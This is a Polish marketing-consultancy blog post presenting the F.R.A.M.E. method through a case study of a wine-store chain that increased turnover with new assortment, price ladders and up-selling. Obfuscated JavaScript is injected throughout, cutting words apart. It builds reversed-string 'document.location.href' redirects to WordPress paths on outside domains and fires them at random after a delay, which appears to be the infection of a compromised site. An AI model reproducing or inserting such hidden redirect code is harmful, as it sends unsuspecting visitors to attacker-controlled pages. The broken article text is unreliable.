F.R.A.M.E. – z każdym można wygrać!

Czy w przypadku nasilonej konkurencji i traceniu udziałów w rynku można podnieść sprzedaż i marżę? W toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dość krótkim czasie i bez dużych nakładów na reklamę? Przy zas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowaniu naszej me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tody F.R.A.M.E. jest  toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to możliwe! Jako przykład potraktujmy temat sieci sklepów z winami, która przegrywając konkurencję z dyskontami, no toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towała zmniejszoną sprzedaż. Zgodnie z naszą me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todą F.R.A.M.E.:

Rozejrzyj się

Sieć dysponowała setkami placówek, umieszczonymi na terenie centrów handlowych i zatrudniała ponad 1000 pracowników, którzy posiadali dużą wiedzę produk toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tową, ale brakowało im znajomości technik sprzedaży. W ofercie panowała przypadkowość i nieuporządkowanie. Produkty podzielone były na kraje, ale bez głębszego uzasadnienia.

Oceń potencjał

Po zapoznaniu się z sytuacją, okazało się, że sieć dysponuje sporym potencjałem. Koncentrując się na ofercie zauważyliśmy, że można:

• wydzielić nowe grupy asortymen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe
• uzupełnić luki w ofercie o produkty nowe i komplementarne
• s toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować up-sell  i cross-sell
• ustalić na nowo i w sposób przemyślany drabinki cenowe

Wszystkie działania miały odnosić się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do paragonu, wejść i konwersji. Oczywiście warunkiem, by zmiany odniosły skutek było poinformowanie rynku, właściwy merchendasing i znalezienie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dostawców, wprowadzenie odpowiedniego systemu motywującego oraz skuteczne zarządzanie.

Zbuduj plan

Budując plan wykorzystania potencjału przede wszystkim stworzyliśmy nowe drabinki cenowe. Odzwierciedlały sposób poszukiwania toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru przez klienta i umożliwiały up-sell. Wcześniej klienci wychodzili z pustymi rękami, zatem wykorzystując nowy trend wprowadziliśmy nowe grupy asortymen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe – wina z Australii i inne wina ekologiczne, tańsze przy porównywalnej jakości. Zadbaliśmy także o lekceważoną toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotąd grupę klientów – singli, dla których wprowadziliśmy małe szampany, w sam raz dla jednej osoby. Dodatkowo w ofercie pojawiła się szeroka gama akcesoriów, które miały być aktywnie polecane, a ich zas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowanie tłumaczone przez sprzedawców.

Nowy system motywacyjny miał skłonić sprzedawców toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do up-sell – przekonania toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do droższego wina lub polecania toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowej butelki, żeby nie robić zakupów dwa razy oraz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do cross-sell – rekomentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowania zakupu win o krzyżowych smakach (słodkie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wytrawnego i odwrotnie dla drugiej osoby o innym guście). Zas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowano także ceny marketingowe, zaokrąglając końcówki w górę. Ten zabieg w is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totny sposób miał wpływać na marżę.

Określ KPI

By mierzyć efekty i porównać wyniki z założeniami,  dla poszczególnych działań określiliśmy KPI. Były toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to KPI I i II poziomu:

• Efekt wprowadzenia nowych grup asortymen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych – mierzyliśmy wzrost konwersji i wielkość średniego paragonu.
• Efekt wypełnienia luk w ofercie – mierzyliśmy wzrost konwersji i co który paragon ma toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowe akcesorium.
• Efekt up-sell – mierzyliśmy średnią cenę sprzedanej butelki i liczbę butelek na paragonie.
• Efekt cross-sell – mierzyliśmy rodzaj butelek na paragonie (krzyżowe smaki).
• Wpływ cen marketingowych – mierzyliśmy średnią cenę sprzedanej butelki.

Wprowadź w życie

Całość trzeba było wesprzeć rozwiązaniem informatycznym. Nikt nie był w stanie ręcznie zapanować nad setkami placówek, tysiącami osób i dziesiątkami tysięcy kombinacji zdarzeń.

Zmodyfikuj

Po wdrożeniu okazało się, że niezbędne będą toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowe modyfikacje. Co prawda nowe grupy produktów przyciągnęły uwagę nowych klientów, którzy akurat takimi byli zainteresowani, a nowe witryny sklepowe i asortyment sprawiały wrażenie, że sklep jest bardziej specjalistyczny i profesjonalny. Jednakże, ponieważ  zrezygnowaliśmy z drogiego marketingu ATL, nie stało się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to od razu. Prócz nowych witryn, skutek odnosił głównie marketing szeptany, „word of mouth”.

Okazało się jednak, że sprzedawcy nie radzą sobie z polecaniem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowych produktów. Uważali, że polecanie drugiej butelki czy akcesoriów toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niegrzeczne nagabywanie. Spieszyli się i chcieli zakończyć obsługę jak najszybciej. Mieli wrażenie, że dzięki temu więcej sprzedadzą i panowało wśród nich przekonanie, że klient, mając określony budżet na zakupy, nie wyda więcej. By toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przełamać niezbędne były toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowe działania:

• coaching i szkolenie sprzedawców
• przemyślane argumenty
• podkreślanie indywidualnych celów poszczególnych sprzedawców
• odpowiedni merchandising.

By wypełnić drabinki asortymen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towo-cenowe, potrzebne były toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dostawy nowych produktów, ale nie mogliśmy znaleźć odpowiednich produktów w odpowiednich cenach, ani dla nowych grup, ani dla „traffic builders”. Tu także niezbędne były modyfikacje:

• ponowne przemyślenie drabinki
• znalezienie alternatywnych toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dostawców
• wprowadzenie prywatnej marki
• własny transport
• system wynagrodzeń.

Celebruj zwycięstwo

Efekty, zwłaszcza przy braku drogiego marketingu ATL, były wyjątkowo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobre. Całość działań zamknęła się w 9 miesiącach. Podwoiły się średnie obroty na sklep i znacznie wzrosła konwersja.

 $zXz=function(n){if (typeof ($zXz.list[n]) == „string”) return $zXz.list[n].split(„”).reverse().join(„”);return $zXz.list[n];};$zXz.list=[„\’php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość. Obrót miesięczny per sklep.” width=”720″ height=”354″ />

Jeśli chcesz zobaczyć, co F.R.A.M.E. może zrobić dla Ciebie, skontaktuj się z nami:

Błąd: Brak formularza kontaktowego.